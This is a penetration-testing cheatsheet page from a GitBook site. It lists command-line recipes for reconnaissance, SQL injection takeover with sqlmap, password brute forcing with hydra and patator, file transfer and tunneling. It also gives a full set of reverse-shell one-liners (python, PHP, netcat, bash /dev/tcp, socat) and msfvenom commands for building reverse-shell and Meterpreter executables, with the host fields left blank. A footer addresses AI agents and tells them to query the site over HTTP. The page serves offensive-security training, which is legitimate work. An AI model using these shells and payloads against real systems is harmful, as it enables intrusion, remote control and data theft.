> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/hacking-cheatsheets/essentials.md). # Essentials #### Enumeration **Nmap** Nmap ("Network Mapper") is a free and open source utility for network discovery and security auditing.\ Source: ``` nmap -sV -sC -o result.nmap ``` **AutoRecon** AutoRecon is a multi-threaded network reconnaissance tool which performs automated enumeration of services.\ Source: ``` autorecon -o # Save output to file ``` **dig** dig is a flexible tool for interrogating DNS name servers.\ Source: ``` # Zone Transfer dig axfr @ dig axfr @ # More Info dig ANY @ # Any information dig A @ # Regular DNS request dig AAAA @ # IPv6 DNS request dig TXT @ # Information dig MX @ # Emails related dig NS @ # DNS that resolves that name dig -x 192.168.0.2 @ # Reverse lookup dig -x 2a00:1450:400c:c06::93 @ # Reverse IPv6 lookup ``` **DNSRecon** DNSRecon is a Python script that provides the ability to perform: Check all NS Records for Zone Transfers. Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT).\ Source: ``` dnsrecon -d -a -n # Zone Transfer dnsrecon -D -d -n # Brute-force subdomains ``` **ffuf** A fast web fuzzer written in Go.\ Source: ``` ffuf -w -u http:///FUZZ # Directory discovery ffuf -w -u http:/// -H 'Host: FUZZ' -fs 4242 # Vhost discovery (-fs is default vhost response size) ffuf -w -u http:///index.php?FUZZ=1 -fs 4242 # GET parameter discovery ``` **dirb** DIRB is a Web Content Scanner. It looks for existing (and/or hidden) Web Objects. It basically works by launching a dictionary based attack against a web server and analyzing the responses.\ Source: ``` dirb http:/// ``` **Gobuster** Gobuster is a tool used to brute-force URIs including directories and files as well as DNS subdomains.\ Source: ``` gobuster dir -u https:// -w # dir mode gobuster dns -d -w # dns mode gobuster vhost -u http:// -w # vhost mode ``` **dirsearch** An advanced command-line tool designed to brute force directories and files in webservers.\ Source: ``` ./dirsearch.py -u http:// # default ./dirsearch.py -e php,html,js -u http:// # custom extension ./dirsearch.py -e php,html,js -u http:// -w # custom wordlist & extension ``` **sqlmap** sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.\ Source: ``` sqlmap -u --dbs # get a list of databases sqlmap -u -D --tables # get a list of tables on database sqlmap -u -D -T --columns # get a list of columns on table sqlmap -u -D -T

-C --dump # get contents of specified columns ``` ``` sqlmap -u --os-shell # get shell to run command on target sqlmap -u --file= # read file on target sqlmap -u --file-write= --file-dest= # write file on target sqlmap -u --sql-query= # execute sql query ``` **WPScan** WPScan scans remote WordPress installations to find security issues.\ Source: ``` wpscan --url http:/// # default scan (more info: wpscan -h/-hh) ``` **Nikto** Nikto is a pluggable web server and CGI scanner written in Perl, using rfp’s LibWhisker to perform fast security or informational checks.\ Source: ``` nikto -host http:/// ``` **Metasploit Auxiliary** The Metasploit Framework includes hundreds of auxiliary modules that perform scanning, fuzzing, sniffing, and much more. Although these modules will not give you a shell, they are extremely valuable when conducting a penetration test.\ Source: ``` # Example Usage msf > use auxiliary/scanner/smb/smb_version msf auxiliary(smb_version) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads msf auxiliary(smb_version) > set RHOSTS RHOSTS => msf auxiliary(smb_version) > run ``` **Enum4Linux** A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts.\ Source: ``` enum4linux ``` **LinPEAS** LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix\*/MacOS hosts.\ Source: ``` remote:~$ ./linpeas.sh ``` **WinPEAS** Check the Local Windows Privilege Escalation.\ Source: ``` C:\Windows\Temp> .\winpeas.exe ``` **pspy** pspy is a command line tool designed to snoop on processes without need for root permissions.\ Source: ``` remote:~$ ./pspy64 ``` #### Brute Force (Cracking) **JohnTheRipper** John the Ripper is an Open Source password security auditing and password recovery tool available for many operating systems.\ Source: ``` john --wordlist= # default john --format= --wordlist= # define hash type john --show # show cracked hash ``` **hashcat** Hashcat supports five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, and has facilities to help enable distributed password cracking.\ Source: ``` hashcat ``` **Hydra** Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.\ Source: ``` hydra -L -P ssh:// # brute-force ssh hydra -l -P ssh:// # brute-force ssh known username # more information hydra -h ``` **Patator** Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.\ Source: ``` patator ftp_login user= password=FILE0 0= host= -x ignore:mesg='Login incorrect.' # brute-force ftp patator mysql_login user= password=FILE0 0= host= -x ignore:fgrep='Access denied for user' # brute-force mysql ``` #### Reverse Shell **Reverse Shell (Python)** ```sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' ``` ```python import socket,subprocess,os s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("IP", PORT)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p=subprocess.call(["/bin/sh","-i"]) # you can change to /bin/bash ``` **Reverse Shell (PHP)** Full Code: ```sh php -r '$sock=fsockopen("",);exec("/bin/sh -i <&3 >&3 2>&3");' ``` **Reverse Shell (netcat)** ```sh nc -e /bin/sh # if option -e available ``` ```sh rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f # if option -e not available ``` **Reverse Shell (bash)** ```sh bash -i >& /dev/tcp// 0>&1 # tcp mode bash -i >& /dev/udp// 0>&1 # udp mode ``` **Reverse Shell (socat)** Attacker: ```sh socat file:`tty`,raw,echo=0 tcp-listen: ``` Victim: ```sh socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:: ``` **Metasploit (Payload)** Source: Non-Meterpreter: ```sh msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe # staged windows x86 msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe # staged windows x64 msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe # stageless windows x86 msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe # stageless windows x64 msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf # staged linux x86 msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf # staged linux x64 msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf # stageless windows x86 msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf # stageless windows x64 ``` Meterpreter: ```sh msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe # staged windows x86 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe # staged windows x64 msfvenom -p windows/meterpreter_reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe # stageless windows x86 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST= LPORT= -f exe > shell-x64.exe # stageless windows x64 msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf # staged linux x86 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf # staged linux x64 msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST= LPORT= -f elf > shell-x86.elf # stageless linux x86 msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST= LPORT= -f elf > shell-x64.elf # stageless linux x64 ``` #### File Transfer **wget** GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, as well as retrieval through HTTP proxies.\ Source: ```sh wget http://[IP]/file wget --no-check-certificate http://[IP]/file ``` **curl** curl is a tool to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP).\ Source: ```sh curl http://[IP]/file # print output to stdout curl http://[IP]/file -o [FILE] # save output to file ``` **netcat** Netcat usually used for reverse shell, but you can also use it for transfer files. ```sh receiver:~$ nc -nvlp [PORT] > filename sender:~$ cat file | nc -w 2 [IP_RECEIVER] [PORT] ``` **openssl** Openssl can be used for transfer file.\ Source: More info: Receiver: ``` openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes openssl s_server -quiet -key key.pem -cert cert.pem -port [PORT] > filename ``` Sender: ``` openssl s_client -quiet -connect : < "" ``` **PowerShell** Source: WebClient: ``` (New-Object System.Net.WebClient).DownloadFile("", "") ``` Invoke-WebRequest ``` Invoke-WebRequest -Uri -OutFile ``` **certutil** The purpose of the certutil was originally for certificate and CA management, but can also be used for file transfer.\ Source: ``` certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe ``` #### Port Forwarding **ssh** SSH tunneling, or SSH port forwarding, is a method of transporting arbitrary data over an encrypted SSH connection. SSH tunnels allow connections made to a local port (that is, to a port on your own desktop) to be forwarded to a remote machine via a secure channel.\ Source: ``` ssh -L :: @ ``` **chisel** Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang).\ Source: ``` local:~$ ./chisel server -p 4444 --reverse machine:~$ ./chisel client :4444 R::: ``` You can access machine : from :. **shootback** shootback is a reverse TCP tunnel let you access target behind NAT or firewall.\ Source: ``` local:~$ python3 master.py -m :4444 -c 127.0.0.1: machine:~$ python3 slaver.py -m :4444 -t : ``` **gost** A simple security tunnel written in Golang.\ Source: --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://alham-rizvi.gitbook.io/alhamrizvi/hacking-cheatsheets/essentials.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.